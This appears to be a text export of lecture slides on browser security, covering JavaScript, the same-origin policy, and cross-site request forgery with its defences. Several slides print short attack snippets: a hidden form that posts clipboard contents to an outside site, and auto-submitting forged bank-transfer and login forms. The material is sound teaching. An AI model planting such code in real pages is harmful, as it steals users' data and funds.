Web Security II: Same-Origin Policy and Cross-Site Request Forgery

(thanks to Vitaly Shmatikov and Stanford security group)
Browser: Basic Execution Model

◆ Each browser window or frame
  • Loads content
  • Renders
    – Processes HTML and scripts to display the page
    – May involve images, subframes, etc.
  • Responds to events

◆ Events
  • User actions: OnClick, OnMouseover
  • Rendering: OnLoad
  • Timing: setTimeout(), clearTimeout()
HTML and Scripts

The script on this page adds two numbers:

```html
<script>
  var num1, num2, sum
  num1 = prompt("Enter first number")
  num2 = prompt("Enter second number")
  sum = parseInt(num1) + parseInt(num2)
  alert("Sum = " + sum)
</script>
```

Browser receives content, displays HTML and executes scripts.
The script on this page adds two numbers

Explorer User Prompt

Script Prompt:
Enter first number

3

Windows Internet Explorer

Sum = 7

OK
### Event-Driven Script Execution

```javascript
function whichButton(event) {
  if (event.button===1) {
    alert("You clicked the left mouse button!")
  } else {
    alert("You clicked the right mouse button!")
  }
}
```

- Script defines a page-specific function
- Function gets executed when some event happens

Other events:
- `onLoad`
- `onMouseMove`
- `onKeyPress`
- `onUnload`
Click in the document. An alert box will alert which mouse button you clicked.

Windows Internet Explorer

You clicked the left mouse button!

OK
JavaScript

- Language executed by browser
  - Scripts are embedded in Web pages
  - Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page

- Used to implement “active” web pages
  - AJAX, huge number of Web-based applications

- Many security and correctness issues
  - Attacker gets to execute some code on user’s machine
  - Often used to exploit other vulnerabilities

- “The world’s most misunderstood prog. language”
Common Uses of JavaScript

- Form validation
- Page embellishments and special effects
- Navigation systems
- Basic math calculations
- Dynamic content manipulation
- Hundreds of applications
  - Dashboard widgets in Mac OS X, Google Maps, Philips universal remotes, Writely word processor ...
JavaScript in Web Pages

- Embedded in HTML page as `<script>` element
  - JavaScript written directly inside `<script>` element
    - `<script>` alert("Hello World!") </script>
  - Linked file as src attribute of the `<script>` element
    `<script type="text/JavaScript" src="functions.js"></script>`

- Event handler attribute
  `<a href="http://www.yahoo.com" onmouseover="alert('hi');">`

- Pseudo-URL referenced by a link
  `<a href="JavaScript: alert('You clicked');">Click me</a>`
JavaScript Security Model

- **Script runs in a “sandbox”**
  - No direct file access, restricted network access

- **Same-origin policy**
  - Can only read properties of documents and windows from the same **server**, **protocol**, and **port**
  - If the same server hosts unrelated sites, scripts from one site can access document properties on the other

- **User can grant privileges to signed scripts**
  - **UniversalBrowserRead/Write**, **UniversalFileRead**, **UniversalSendMail**
Library Import

- Same-origin policy does **not** apply to scripts loaded in enclosing frame from arbitrary site

```html
<script type="text/javascript">
    src="http://www.example.com/scripts/somescript.js">
</script>
```

- This script runs as if it were loaded from the site that provided the page!
Document Object Model (DOM)

- HTML page is structured data
- DOM provides representation of this hierarchy
- Examples
  - Properties: `document.alinkColor`, `document.URL`, `document.forms[]`, `document.links[]`, `document.anchors[]`, ...
  - Methods: `document.write(document.referrer)`
    - These change the content of the page!
- Also Browser Object Model (BOM)
  - `Window`, `Document`, `Frames[]`, `History`, `Location`, `Navigator` (type and version of browser)
Browser and Document Structure

W3C standard differs from models supported in existing browsers
Reading Properties with JavaScript

Sample script

1. `document.getElementById('t1').nodeName`
2. `document.getElementById('t1').nodeValue`
3. `document.getElementById('t1').firstChild.nodeName`
4. `document.getElementById('t1').firstChild.firstChild.nodeName`
5. `document.getElementById('t1').firstChild.firstChild.nodeValue`

- Example 1 returns "ul"
- Example 2 returns "null"
- Example 3 returns "li"
- Example 4 returns "text"
  - A text node below the "li" which holds the actual text data as its value
- Example 5 returns " Item 1 "

Sample HTML

```html
<ul id="t1">
  <li>Item 1</li>
</ul>
```
Page Manipulation with JavaScript

◆ Some possibilities
  - createElement(elementName)
  - createTextNode(text)
  - appendChild(newChild)
  - removeChild(node)

◆ Example: add a new list item

```
var list = document.getElementById('t1')
var newitem = document.createElement('li')
var newtext = document.createTextNode(text)
list.appendChild(newitem)
newitem.appendChild(newtext)
```

Sample HTML

```html
<ul id="t1">
  <li>Item 1</li>
</ul>
```
Stealing Clipboard Contents

Create hidden form, enter clipboard contents, post form

```html
<FORM name="hf" METHOD=POST ACTION=
    "http://www.site.com/targetpage.php" style="display:none">
    <INPUT TYPE="text" NAME="topicID">
    <INPUT TYPE="submit">
</FORM>
<script language="javascript">
    var content = clipboardData.getData("Text");
document.forms["hf"].elements["topicID"].value = content;
document.forms["hf"].submit();
</script>
```
Frame and iFrame

◆ Window may contain frames from different sources
  • Frame: rigid division as part of frameset
  • iFrame: floating inline frame

<IFRAME SRC="hello.html" WIDTH=450 HEIGHT=100>
If you can see this, your browser doesn't understand IFRAME.
</IFRAME>

◆ Why use frames?
  • Delegate screen area to content from another source
  • Browser provides isolation based on frames
  • Parent may work even if frame is broken
Cookie-Based Authentication Redux

Browser

POST/login.cgi

Set-cookie: authenticator

GET...
Cookie: authenticator

response

Server
XSRF: Cross-Site Request Forgery

- Same browser runs a script from a “good” site and a malicious script from a “bad” site
  - How could this happen?
  - Requests to “good” site are authenticated by cookies

- Malicious script can make forged requests to “good” site with user’s cookie
  - Netflix: change acct settings, Gmail: steal contacts
  - Potential for much bigger damage (think banking)
XSRF (aka CSRF): Basic Idea

Q: how long do you stay logged on to Gmail?
Cookie Authentication: Not Enough!

- Users logs into bank.com, forgets to sign off
  - Session cookie remains in browser state
- User then visits a malicious website containing
  
  ```html
  <form name=BillPayForm action=http://bank.com/BillPay.php>
  <input name=recipient value=badguy> ...
  <script> document.BillPayForm.submit(); </script>
  
  Browser sends cookie, payment request fulfilled!
  
  Lesson: cookie authentication is not sufficient when side effects can happen
XSRF in More Detail

![Diagram showing an attacker server, a victim browser, and a bank server. The attacker server sends a GET request to the victim browser, which is redirected to the bank server. The bank server sends a POST request to transfer money from the victim's account to the attacker's account.]

```html
<form action='https://www.bank.com/transfer' method='POST' target='invisibleframe'>
  <input name='recipient' value='attacker'>
  <input name='amount' value='$100'>
</form>
<script>document.forms[0].submit();</script>
```

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog
recipient=attacker&amount=$100

HTTP/1.1 200 OK
Transfer complete!
Login XSRF

GET /blog HTTP/1.1
<form action=https://www.google.com/login method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>
</form>
<script>document.forms[0].submit();</script>
POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy
HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34
GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34
Inline Gadgets
Using Login XSRF for XSS

<form action="https://www.google.com/login" method="POST" target="invisibleframe">
  <input name="username" value="attacker"/>
  <input name="password" value="xyzzy"/>
</form>
<script>document.forms[0].submit();</script>

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /history HTTP/1.1

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

HTTP/1.1 200 OK

GET /ig
Cookie: SessionID=ZA1Fa34
XSRF vs. XSS

◆ Cross-site scripting
  • User trusts a badly implemented website
  • Attacker injects a script into the trusted website
  • User’s browser executes attacker’s script

◆ Cross-site request forgery
  • A badly implemented website trusts the user
  • Attacker tricks user’s browser into issuing requests
  • Website executes attacker’s requests
XSRF Defenses

- Secret validation token
  ```html
  <input type=hidden value=23a3af01b>
  ```

- Referer validation
  ```html
  Referer:
  http://www.facebook.com/home.php
  ```

- Custom HTTP header
  ```html
  X-Requested-By: XMLHttpRequest
  ```
Secret, Random Validation Token

- **Hash of user ID**
  - Can be forged by attacker

- **Session ID**
  - If attacker has access to HTML of the Web page (how?), can learn session ID and hijack the session

- **Session-independent nonce – Trac**
  - Can be overwritten by subdomains, network attackers

- **Need to bind session ID to the token**
  - CSRFx, CSRFGuard - Manage state table at the server
  - HMAC (keyed hash) of session ID – no extra state!
Referer Validation

- **Lenient** referer checking – header is optional
- **Strict** referer checking – header is required

- Referer: http://www.evil.com/attack.html
- Referer: ?
Why Not Always Strict Checking?

- Reasons to suppress referer header
  - Network stripping by the organization
  - Network stripping by local machine
  - Stripped by browser for HTTPS → HTTP transitions
  - User preference in browser
  - Buggy user agents

- Web applications can’t afford to block these users
- Feasible over HTTPS (header rarely suppressed)
  - Logins typically use HTTPS – helps against login XSRF!
XSRF with Lenient Referer Checking

http://www.attacker.com

redirects to

common browsers don’t send referer header

ftp://www.attacker.com/index.html
javascript:"<script> /* CSRF */ </script>"
data:text/html,<script> /* CSRF */ </script>"
Custom Header

 XMLHttpRequest is for same-origin requests
  - Browser prevents sites from sending custom HTTP headers to other sites, but can send to themselves
  - Can use setRequestHeader within origin

Limitations on data export format
  - No setRequestHeader equivalent
  - XHR 2 has a whitelist for cross-site requests

Issue POST requests via AJAX. For example:

X-Requested-By: XMLHttpRequest

No secrets required
XSRF Recommendations

◆ Login XSRF
  • Strict referer validation
  • Login forms typically submit over HTTPS, not blocked
◆ HTTPS sites, such as banking sites
  • Strict referer validation
◆ Other sites
  • Use Ruby-on-Rails or other framework that implements secret token method correctly
◆ Several solutions proposed
  • For example, another type of header